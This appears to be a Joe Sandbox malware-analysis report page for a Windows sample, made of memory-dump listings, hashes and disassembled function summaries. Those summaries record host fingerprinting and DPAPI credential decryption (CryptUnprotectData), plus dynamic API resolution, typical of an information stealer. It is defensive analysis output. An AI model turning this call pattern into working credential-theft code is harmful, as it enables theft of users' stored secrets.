Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: dd1bf4381759569cd2bbc6eb5fde37b40ad0f24846ecf3863c2a695251847137
Instruction ID: 48ff574ce7b5f63faaa4a7291140aee1dcec14e6f4c5f7d4b2dbf97d710282af
Opcode Fuzzy Hash: dd1bf4381759569cd2bbc6eb5fde37b40ad0f24846ecf3863c2a695251847137
Instruction Fuzzy Hash: 71314A71901218ABDB28FB94CC45FEEB778FB45700F5041AAE50AE21A0DF346A45CFA2

Function 00887A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,010FE1E0,00000000,?,00890E10,00000000,?,00000000,00000000), ref: 00887A63
RtlAllocateHeap.NTDLL(00000000), ref: 00887A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,010FE1E0,00000000,?,00890E10,00000000,?,00000000,00000000,?), ref: 00887A7D
wsprintfA.USER32 ref: 00887AB7

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: e9e115e9420e09a5617cee7e3269ef006c311fa0590f6e57aece1a85cce7a458
Instruction ID: 2eb7b458f78956bb5c0fa4bd42424f284eb6e7cb7f6afd8a000a7b2aedb0f2fc
Opcode Fuzzy Hash: e9e115e9420e09a5617cee7e3269ef006c311fa0590f6e57aece1a85cce7a458
Instruction Fuzzy Hash: 91117CB1945228EBEB20DB94DC49FA9B7B8FB04721F10439AE91A932D0D7745A40CF91

Function 00879B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00879B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00879BA3
LocalFree.KERNEL32(?), ref: 00879BD3

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 03809d3d05eff3f72f2801f41a297a5e9a7af28fcab073871681fcbe5a0e13a1
Instruction ID: b463ae5abd18a2d103e8256d504dae7770a242ff9cf79f198eb729245b5efe4b
Opcode Fuzzy Hash: 03809d3d05eff3f72f2801f41a297a5e9a7af28fcab073871681fcbe5a0e13a1
Instruction Fuzzy Hash: 5111C9B8A00209EFDB04DF94D995AAE77B5FF89300F108598E915A7350D770AE51CFA1

Function 008878E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00887910
RtlAllocateHeap.NTDLL(00000000), ref: 00887917
GetComputerNameA.KERNEL32(?,00000104), ref: 0088792F

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 5205245bdd5ec9b14474ca45e6ed78966b0e945eb3122924b82dd921de1100eb
Instruction ID: 3b2cf77fcb84e2bc56e023ceb016af1d943efdfdf42f8e4fe46b57c27fd86b50
Opcode Fuzzy Hash: 5205245bdd5ec9b14474ca45e6ed78966b0e945eb3122924b82dd921de1100eb
Instruction Fuzzy Hash: C00186B1944208EFC700EFD4DD45BAABBB8F704B21F104219F645E3690D37859448BA1

Function 00887850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,008711B7), ref: 00887880
RtlAllocateHeap.NTDLL(00000000), ref: 00887887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 0088789F

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: 63d3bd21f59375b185e5e3d9bdbb316ad79f59c80579a0a41bdd6fccd0e4018f
Instruction ID: 086a405b1fc9485e23104915dccc41b065b6f2028a2f2c1413dff90e57f5cbd2
Opcode Fuzzy Hash: 63d3bd21f59375b185e5e3d9bdbb316ad79f59c80579a0a41bdd6fccd0e4018f
Instruction Fuzzy Hash: CDF04FB2944208ABC700DFD8DD49FAEBBB8FB04721F10025AFA15E2690C77955058BA1

Function 00871160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 0087116A
ExitProcess.KERNEL32 ref: 0087117E

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 9260de09c41f17a84ec792a98a4dea6bf17d95d943ccaa0626e3e9a6fec9a82b
Instruction ID: 8c604bde30741945cd6d85c5db616081e4a03a3662f1f3f2b5503024cc4a09d5
Opcode Fuzzy Hash: 9260de09c41f17a84ec792a98a4dea6bf17d95d943ccaa0626e3e9a6fec9a82b
Instruction Fuzzy Hash: 9BD05E7490430CDBCB00DFE0D8896DDBB78FB08321F001694D905A2351EA3194C2CBA6

Function 00889C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(76210000,010E6718), ref: 00889C2D
GetProcAddress.KERNEL32(76210000,010E6638), ref: 00889C45
GetProcAddress.KERNEL32(76210000,010F8FE8), ref: 00889C5E
GetProcAddress.KERNEL32(76210000,010F9000), ref: 00889C76
GetProcAddress.KERNEL32(76210000,010F9018), ref: 00889C8E
GetProcAddress.KERNEL32(76210000,010FCB90), ref: 00889CA7
GetProcAddress.KERNEL32(76210000,010EA598), ref: 00889CBF
GetProcAddress.KERNEL32(76210000,010FCBA8), ref: 00889CD7
GetProcAddress.KERNEL32(76210000,010FCCF8), ref: 00889CF0
GetProcAddress.KERNEL32(76210000,010FCCC8), ref: 00889D08
GetProcAddress.KERNEL32(76210000,010FCE48), ref: 00889D20
GetProcAddress.KERNEL32(76210000,010E64D8), ref: 00889D39
GetProcAddress.KERNEL32(76210000,010E6738), ref: 00889D51
GetProcAddress.KERNEL32(76210000,010E67B8), ref: 00889D69
GetProcAddress.KERNEL32(76210000,010E64B8), ref: 00889D82
GetProcAddress.KERNEL32(76210000,010FCBC0), ref: 00889D9A
GetProcAddress.KERNEL32(76210000,010FCE18), ref: 00889DB2
GetProcAddress.KERNEL32(76210000,010EA868), ref: 00889DCB
GetProcAddress.KERNEL32(76210000,010E6518), ref: 00889DE3
GetProcAddress.KERNEL32(76210000,010FCD58), ref: 00889DFB
GetProcAddress.KERNEL32(76210000,010FCDB8), ref: 00889E14
GetProcAddress.KERNEL32(76210000,010FCD10), ref: 00889E2C
GetProcAddress.KERNEL32(76210000,010FCD40), ref: 00889E44
GetProcAddress.KERNEL32(76210000,010E6598), ref: 00889E5D
GetProcAddress.KERNEL32(76210000,010FCDE8), ref: 00889E75
GetProcAddress.KERNEL32(76210000,010FCE30), ref: 00889E8D
GetProcAddress.KERNEL32(76210000,010FCDD0), ref: 00889EA6
GetProcAddress.KERNEL32(76210000,010FCBD8), ref: 00889EBE
GetProcAddress.KERNEL32(76210000,010FCD28), ref: 00889ED6
GetProcAddress.KERNEL32(76210000,010FCE78), ref: 00889EEF
GetProcAddress.KERNEL32(76210000,010FCC20), ref: 00889F07
GetProcAddress.KERNEL32(76210000,010FCD70), ref: 00889F1F
GetProcAddress.KERNEL32(76210000,010FCBF0), ref: 00889F38
GetProcAddress.KERNEL32(76210000,010EFAE8), ref: 00889F50
GetProcAddress.KERNEL32(76210000,010FCE60), ref: 00889F68
GetProcAddress.KERNEL32(76210000,010FCD88), ref: 00889F81
GetProcAddress.KERNEL32(76210000,010E6698), ref: 00889F99
GetProcAddress.KERNEL32(76210000,010FCC68), ref: 00889FB1
GetProcAddress.KERNEL32(76210000,010E66B8), ref: 00889FCA
GetProcAddress.KERNEL32(76210000,010FCDA0), ref: 00889FE2
GetProcAddress.KERNEL32(76210000,010FCC08), ref: 00889FFA
GetProcAddress.KERNEL32(76210000,010E65D8), ref: 0088A013
GetProcAddress.KERNEL32(76210000,010E66D8), ref: 0088A02B
LoadLibraryA.KERNEL32(010FCE00,?,00885CA3,00890AEB,?,?,?,?,?,?,?,?,?,?,00890AEA,00890AE3), ref: 0088A03D
LoadLibraryA.KERNEL32(010FCC38,?,00885CA3,00890AEB,?,?,?,?,?,?,?,?,?,?,00890AEA,00890AE3), ref: 0088A04E
LoadLibraryA.KERNEL32(010FCC50,?,00885CA3,00890AEB,?,?,?,?,?,?,?,?,?,?,00890AEA,00890AE3), ref: 0088A060
LoadLibraryA.KERNEL32(010FCC80,?,00885CA3,00890AEB,?,?,?,?,?,?,?,?,?,?,00890AEA,00890AE3), ref: 0088A072
LoadLibraryA.KERNEL32(010FCCB0,?,00885CA3,00890AEB,?,?,?,?,?,?,?,?,?,?,00890AEA,00890AE3), ref: 0088A083
LoadLibraryA.KERNEL32(010FCC98,?,00885CA3,00890AEB,?,?,?,?,?,?,?,?,?,?,00890AEA,00890AE3), ref: 0088A095
LoadLibraryA.KERNEL32(010FCCE0,?,00885CA3,00890AEB,?,?,?,?,?,?,?,?,?,?,00890AEA,00890AE3), ref: 0088A0A7
LoadLibraryA.KERNEL32(010FCF38,?,00885CA3,00890AEB,?,?,?,?,?,?,?,?,?,?,00890AEA,00890AE3), ref: 0088A0B8
GetProcAddress.KERNEL32(751E0000,010E60D8), ref: 0088A0DA
GetProcAddress.KERNEL32(751E0000,010FCFB0), ref: 0088A0F2
GetProcAddress.KERNEL32(751E0000,010F8A78), ref: 0088A10A
GetProcAddress.KERNEL32(751E0000,010FCFC8), ref: 0088A123
GetProcAddress.KERNEL32(751E0000,010E6098), ref: 0088A13B
GetProcAddress.KERNEL32(73FF0000,010EA5C0), ref: 0088A160
GetProcAddress.KERNEL32(73FF0000,010E61D8), ref: 0088A179
GetProcAddress.KERNEL32(73FF0000,010EA6B0), ref: 0088A191
GetProcAddress.KERNEL32(73FF0000,010FCF68), ref: 0088A1A9
GetProcAddress.KERNEL32(73FF0000,010FCFE0), ref: 0088A1C2
GetProcAddress.KERNEL32(73FF0000,010E60F8), ref: 0088A1DA
GetProcAddress.KERNEL32(73FF0000,010E6258), ref: 0088A1F2
GetProcAddress.KERNEL32(73FF0000,010FCE90), ref: 0088A20B
GetProcAddress.KERNEL32(753A0000,010E6178), ref: 0088A22C
GetProcAddress.KERNEL32(753A0000,010E6118), ref: 0088A244
GetProcAddress.KERNEL32(753A0000,010FCFF8), ref: 0088A25D
GetProcAddress.KERNEL32(753A0000,010FCF20), ref: 0088A275
GetProcAddress.KERNEL32(753A0000,010E6318), ref: 0088A28D
GetProcAddress.KERNEL32(76310000,010EA8B8), ref: 0088A2B3
GetProcAddress.KERNEL32(76310000,010EA408), ref: 0088A2CB
GetProcAddress.KERNEL32(76310000,010FCEC0), ref: 0088A2E3
GetProcAddress.KERNEL32(76310000,010E6338), ref: 0088A2FC
GetProcAddress.KERNEL32(76310000,010E6138), ref: 0088A314
GetProcAddress.KERNEL32(76310000,010EA700), ref: 0088A32C
GetProcAddress.KERNEL32(76910000,010FCF50), ref: 0088A352
GetProcAddress.KERNEL32(76910000,010E6198), ref: 0088A36A
GetProcAddress.KERNEL32(76910000,010F8C08), ref: 0088A382
GetProcAddress.KERNEL32(76910000,010FD040), ref: 0088A39B
GetProcAddress.KERNEL32(76910000,010FCF80), ref: 0088A3B3
GetProcAddress.KERNEL32(76910000,010E6398), ref: 0088A3CB
GetProcAddress.KERNEL32(76910000,010E6358), ref: 0088A3E4
GetProcAddress.KERNEL32(76910000,010FCF98), ref: 0088A3FC
GetProcAddress.KERNEL32(76910000,010FD010), ref: 0088A414
GetProcAddress.KERNEL32(75B30000,010E6158), ref: 0088A436
GetProcAddress.KERNEL32(75B30000,010FD028), ref: 0088A44E
GetProcAddress.KERNEL32(75B30000,010FCEA8), ref: 0088A466
GetProcAddress.KERNEL32(75B30000,010FCED8), ref: 0088A47F
GetProcAddress.KERNEL32(75B30000,010FCEF0), ref: 0088A497
GetProcAddress.KERNEL32(75670000,010E60B8), ref: 0088A4B8
GetProcAddress.KERNEL32(75670000,010E6038), ref: 0088A4D1
GetProcAddress.KERNEL32(76AC0000,010E63B8), ref: 0088A4F2
GetProcAddress.KERNEL32(76AC0000,010FCF08), ref: 0088A50A
GetProcAddress.KERNEL32(6F4E0000,010E61B8), ref: 0088A530
GetProcAddress.KERNEL32(6F4E0000,010E6278), ref: 0088A548
GetProcAddress.KERNEL32(6F4E0000,010E61F8), ref: 0088A560
GetProcAddress.KERNEL32(6F4E0000,010FCB18), ref: 0088A579
GetProcAddress.KERNEL32(6F4E0000,010E63F8), ref: 0088A591
GetProcAddress.KERNEL32(6F4E0000,010E6298), ref: 0088A5A9
GetProcAddress.KERNEL32(6F4E0000,010E6218), ref: 0088A5C2
